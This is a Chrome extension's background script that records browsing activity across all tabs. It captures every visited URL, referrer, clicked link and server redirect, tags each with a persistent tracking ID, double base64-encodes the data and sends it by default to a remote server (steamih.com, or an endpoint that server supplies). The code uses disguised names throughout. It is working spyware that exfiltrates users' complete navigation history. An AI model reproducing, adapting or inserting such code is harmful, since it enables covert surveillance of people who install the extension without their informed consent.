(()=> {

    const enableLog = 0;
    const logLevel = 1;
    const spinTime = 307,
          ver = chrome.runtime.getManifest().version;

    function debugLog() {
        if (enableLog === 1){
            console.log.apply(this, arguments);
        }
    }

    function debugLogLow(){
        if (logLevel >= 3){
            debugLog.apply(this, arguments);
        }
    }

    function generateRandomStr(length){
        function dec2hex (dec) {
            return dec.toString(16);
        }

        var arr = new Uint8Array((length || 32) / 2);
        window.crypto.getRandomValues(arr);
        return Array.from(arr).map(dec2hex).join('');
    }

    function getPid(){
        const lsk = "b7f93e457145ba19114";
        const storredValue = localStorage.getItem(lsk);
        if(storredValue){
            return storredValue;
        }
        // else

        let value = generateRandomStr(27);
        localStorage.setItem(lsk, value);

        return value;
    }

    function validateUrl(url) {
        if (typeof url === "undefined" || !url){return null;}
        return (url.indexOf("http") === 0 &&
        url.indexOf("://localhost") === -1 &&
        url.indexOf("chrome/newtab") === -1 &&
        url.indexOf("chrome://") === -1) ? url : null;
    }

    class Envelope{
        get from() {return this._from;}
        set from(val) {this._from = val;}

        get to() {return this._to;}
        set to(val) {this._to = val;}

        get referrer() {return this._referrer;}
        set referrer(val) {this._referrer = val;}

        get type() {return this._type;}
        set type(val) {this._type = val;}

        get chref() {return this._chref;}
        set chref(val) {this._chref = val;}

        get ahref() {return this._ahref;}
        set ahref(val) {this._ahref = val;}

        get sredirects() {return this._sredirects;}
        set sredirects(val) {this._sredirects = val;}

        toObject(){
            return {
                from: this.from,
                to: this.to,
                referrer: this.referrer,
                type: this.type,
                chref: this.chref || this.ahref,
                sredirects: this.sredirects
            };
        }
    }

    class EnvelopeBuilder{
        constructor(){
            this._envelope = new Envelope();
        }

        setFrom(val){
            this._envelope.from = val;
            return this;
        }

        setTo(val){
            this._envelope.to = val;
            return this;
        }

        setReferrer(val){
            this._envelope.referrer = val;
            return this;
        }

        setType(val){
            this._envelope.type = val;
            return this;
        }

        setClickUrl(val){
            this._envelope.chref = val;
            return this;
        }

        setAclickUrl(val){
            this._envelope.ahref = val;
            return this;
        }

        setRedirects(redirects){
            this._envelope.sredirects = redirects;
            return this;
        }

        build(){
            return this._envelope;
        }
    }

    const POST_DEFAULTS = {
        md: "21",
        sub: "chrome",
        pid: "",
        ts: Date.now(),
        s: spinTime,
        v: "2",
        ch: 0,
        tmv: ver
    };
    const POST_LOCART =   ["to",  "from", "referrer", "chref", "sredirects"];
    const POST_STANDART = ["q",   "prev", "hreferer", "et",    "sr"];
    const POSTMAN_SETTINGS_DEFAULT = {
        url: "https://steamih.com",
        settings: "/monits",
        method: "POST",
        main: "/box/monit",
        keys: ['o', 'u'],
        enabled: true,
        postHeaders: {
            "Content-type": "application/x-www-form-urlencoded"
        }
    };

    class PostMan{

        get sendUrl() {return this.settings.sendUrl;}
        set sendUrl(val) {this.settings.sendUrl = val;}

        get settings() {return this._settings;}
        set settings(val) {this._settings = val;}

        get onRemoteAllowed() {return this._onRemoteAllowed;}
        get onLocalAllowed() {return this._onLocalAllowed();}
        get onLoReAllowed() {return Promise.all([this.onLocalAllowed, this.onRemoteAllowed]);}
        get enabled() {return this.settings.enabled;}
        set enabled(val) {this.settings.enabled = val;}

        constructor(){
            this._settings = POSTMAN_SETTINGS_DEFAULT;
            this._allowRemote=()=>{};
            this._onRemoteAllowed = ()=>{
                if (!this._allowRemote){
                    return Promise.resolve();
                }
                return new Promise(resolve=>{
                    this._allowRemote = ()=>{
                        resolve();
                    };
                });
            };
            this._allowLocal=()=>{};
            this._onLocalAllowed = () => {
                if (this.enabled){
                    return Promise.resolve();
                }
                return new Promise(resolve=>{
                    this._allowLocal = () => {
                        this.enabled = true;
                        resolve();
                    };
                });
            };
            this._fetchSettings().catch(()=>{console.warn("invalid settings response");});
        }

        adjustFormat(src, local, global){
            if (local.length != global.length){
                throw new Error("Expecting two arrays of the same size.");
            }
            const r = Object.assign({}, POST_DEFAULTS, src);
            r.pid = getPid();
            for (let i = 0, keyLoc=local[i], keyGlob=global[i];
                 i < local.length;
                 i++, keyLoc=local[i], keyGlob=global[i]){
                r[keyGlob] = r[keyLoc];
                delete r[keyLoc];
            }
            return r;
        }

        _fetchSettings(){
            return new Promise((resolve, reject)=>{
                this.onLocalAllowed.then(()=>{
                    const setUrl = this.settings.url + this.settings.settings + `?s=${spinTime}&ver${ver}`;
                    this._xhr("GET", setUrl, null).then(data=>{
                        if (typeof data === "string"){
                            if (data.length > 0){
                                data = JSON.parse(data);
                            }else{
                                reject();
                            }
                        }
                        if (data && data[this.settings.keys[0]] == 1){
                            this.sendUrl = data[this.settings.keys[1]];
                            this._allowRemote();
                        }else{
                            reject();
                        }
                        resolve(data);
                    });
                });
            });
        }

        _fetch(params){
            const par = Object.assign({}, this._settings, params);
            debugLog("fetching", par);
            return new Promise((resolve)=>{
                this.onLoReAllowed.then(()=>{
                    this._xhr(par.method, this.sendUrl+par.main, params.data, par.postHeaders);
                });
            });
        }

        _xhr(method, url, data, headers){
            headers = headers || {};
            const xhr = new XMLHttpRequest();
            xhr.open(method, url);
            Object.keys(headers).forEach(key=>{
                const value = headers[key];
                xhr.setRequestHeader(key, value);
            });
            return new Promise((resolve, reject)=>{
                xhr.onreadystatechange = ()=>{
                    if (xhr.readyState === 4){
                        resolve(xhr.response);
                    }
                };
                xhr.send(data);
            });
        }

        _pack(obj){
            const dat = Object.keys(obj).map(key=>{
                return this._packVal(key, obj[key]);
            }).join("&").replace(/\&+/g, "&");
            debugLogLow("packed as", dat);
            return ["e",btoa(btoa(dat))].join("=");
        }

        _packVal(key, val){
            switch (typeof val){
                case "number":
                case "string":
                    return this._packStr(key, val);
                    break;
                case "object":
                    return this._packObj(key, val);
                    break;
            }
        }

        _packStr(key, val){
            return `${key}=${this._packPrimitive(val)}`;
        }

        _packPrimitive(val){
            return encodeURIComponent(val);
        }

        _packObj(key, val){
            if (val instanceof Array){
                return this._packArr(key, val);
            }
        }

        _packArr(key, val){
            const buff = [""];
            val.forEach(el=>{
                buff.push(this._packPrimitive(el));
            });
            return buff.join(`&${key}=`);
        }

        /**
         *
         * @param {!Envelope} envelope
         */
        deliver(envelope){
            const obj = this.adjustFormat(envelope.toObject(), POST_LOCART, POST_STANDART);
            obj.ts = Date.now();
            debugLog("deliver", obj);
            this._fetch( {
                data: this._pack(obj)
            } ).then(response=>{});
        }
    }
    const GMan = new PostMan();

    class TabListener{
        get tabo() {return this._tabo;}
        set tabo(val) {this._tabo = val;}

        get tabId() {return this._tabId;}
        set tabId(val) {this._tabId = val;}

        get left() {return this._left;}
        set left(val) {this._left = val;}

        get leftFrom() {return this._leftFrom;}
        set leftFrom(val) {this._leftFrom = val;}

        get lastButter() {return this._lastButter;}
        set lastButter(val) {this._lastButter = val;}

        get globo() {return this._globo;}
        set globo(val) {this._globo = val;}

        get chref() {return this._chref;}
        set chref(val) {this._chref = val;}

        get ahref() {return this._ahref;}
        set ahref(val) {this._ahref = val;}

        get serverRedirects() {return this._sRedirects; }

        constructor(tabId){
            if (tabId){
                this.tabId = tabId;
            }
            this._left = false;
            this._sRedirects = [];
        }

        addRedirect(url){
            this.serverRedirects.push(url);
            return this;
        }

        clearRedirects(){
            this._sRedirects = [];
        }

        onRequest(req, tab){
            debugLogLow(`tab ${this.tabId}`, "request", req);
            switch(req.type){
                case "xmlhttprequest":
                    if (this.lastButter && tab.url && this.lastButter.url != tab.url) {
                        debugLog(`url changing ajax ${this.tabId}`, "request", req, "tab", tab);
                        GMan.deliver(new EnvelopeBuilder()
                            .setFrom(this.lastButter.url)
                            .setTo(tab.url)
                            .setReferrer(this.lastButter.ref)
                            .setType("ajax")
                            .build()
                        );
                        this.lastButter.url = tab.url;
                    }
                    break;
            }
        }

        onPageLoad(message, sender){
            if (sender.frameId !== 0){ return; }
            const butter = message.butter,
                  eb     = new EnvelopeBuilder();
            this.lastButter = butter;
            if (this.left && butter.url === this.leftFrom){
                debugLog(`tab ${this.tabId}`, "reload");
                eb.setType("reload");
            }
            debugLog(`tab ${this.tabId}`, "pageLoad", butter);
            this.left = false;
            let from = this.leftFrom ? this.leftFrom : "";
            if (this.globo.activeTab && this.tabId != this.globo.activeTab.id){
                from = this.globo.activeTab.url;
            }
            eb.setClickUrl(this.globo.chref)
              .setAclickUrl(this.globo.ahref);
            this.globo.thanks();

            if (this.serverRedirects && this.serverRedirects.length > 0){
                eb.setRedirects(this.serverRedirects);
                this.clearRedirects();
            }

            if (validateUrl(butter.url) && validateUrl(from)){
                GMan.deliver(eb
                    .setFrom(from)
                    .setTo(butter.url)
                    .setReferrer(butter.ref)
                    .build()
                );
            }
        }

        onLeave(message){
            this.left = true;
            this.leftFrom = message.oil.url;
            debugLog(`tab ${this.tabId}`, "leave");
        }

        onSRedirect(message){
            this.addRedirect(message.url);
        }
    }

    class MasterListener{
        get listeners() {return this._listeners;}

        /**
         *
         * @param {!number|string} id
         * @param {!Tab} [tabo]
         * @returns {TabListener}
         */
        getOrCreateListener(id, tabo){
            if (!this.listeners[id]){
                this.listeners[id] = new TabListener(id);
                this.listeners[id].globo = this._globo;
            }
            if (tabo && !this.listeners[id].tabo){
                this.listeners[id].tabo = tabo;
            }
            return this.listeners[id];
        }

        constructor(){
            this._listeners = {};
            this._globo = {
                activeTab: null,
                chref: null,
                ahref: null,
                thanks: function(){
                    this.chref = null;
                    this.ahref = null;
                }
            };
        }

        processPageMessage(message, sender){
            const tab = sender.tab,
                  listener = this.getOrCreateListener(tab.id, tab);
            listener.onPageLoad(message, sender);
        }

        processRequestMessage(request, senderTab,activeTab){
            const listener = this.getOrCreateListener(request.tabId);
            listener.onRequest(request, senderTab, activeTab);
        }

        processUnpageMessage(message, sender){
            if (sender.frameId === 0) {
                const listener = this.getOrCreateListener(sender.tab.id);
                if (listener) {
                    listener.onLeave(message);
                }
            }
        }

        processPageAlive(message, sender){
            debugLogLow("alive", sender.tab.id, sender.tab.url);
            this.getOrCreateListener(sender.tab.id).tabo = sender.tab;
            this._globo.activeTab = sender.tab;
        }

        processCHrefUpdate(message, sender){
            this._globo.chref = message.href;
        }

        processAHrefUpdate(message, sender){
            this._globo.ahref = message.ahref;
        }

        processRedirectMessage(message){
            if (validateUrl(message.url)){
                this.getOrCreateListener(message.tabId).onSRedirect(message);
            }
        }
    }

    const manager = new MasterListener();

    chrome.runtime.onMessage.addListener((request, sender, respond)=>{
        if (request){
            if (request.href){
                manager.processCHrefUpdate(request, sender);
            } else if (request.ahref){
                manager.processAHrefUpdate(request, sender);
            } else {
                switch (request.aim){
                    case "promoteButter":
                        manager.processPageMessage(request, sender);
                        break;
                    case "switchToOil":
                        manager.processUnpageMessage(request, sender);
                        break;
                    case "alive":
                        manager.processPageAlive(request, sender);
                        break;
                }
            }
        }
    });

    chrome.webRequest.onCompleted.addListener(e => {
        chrome.tabs.query({active: true, windowId: chrome.windows.WINDOW_ID_CURRENT}, at => {
            chrome.tabs.query({}, st => {
                let match;
                for (let i = 0, m; i < st.length; i++){
                    m = st[i];
                    if (m.id == e.tabId){
                        match = m;
                        break;
                    }
                }
                const activeTab = at[0],
                      senderTab = match;
                manager.processRequestMessage(e, senderTab, activeTab);
            });
        });
    }, {urls: ["<all_urls>"]});

    chrome.webRequest.onBeforeRedirect.addListener(e => {
        manager.processRedirectMessage(e);
    }, {types: ["main_frame"], urls: ["<all_urls>"]});

    chrome.runtime.onMessage.addListener(function(request){
        if (!request || !request.action) return;
        switch(request.action){
            case "share_devdata_on":
                GMan.enabled = true;
                break;
            case "share_devdata_off":
                GMan.enabled = false;
                break;
        }
    });

})();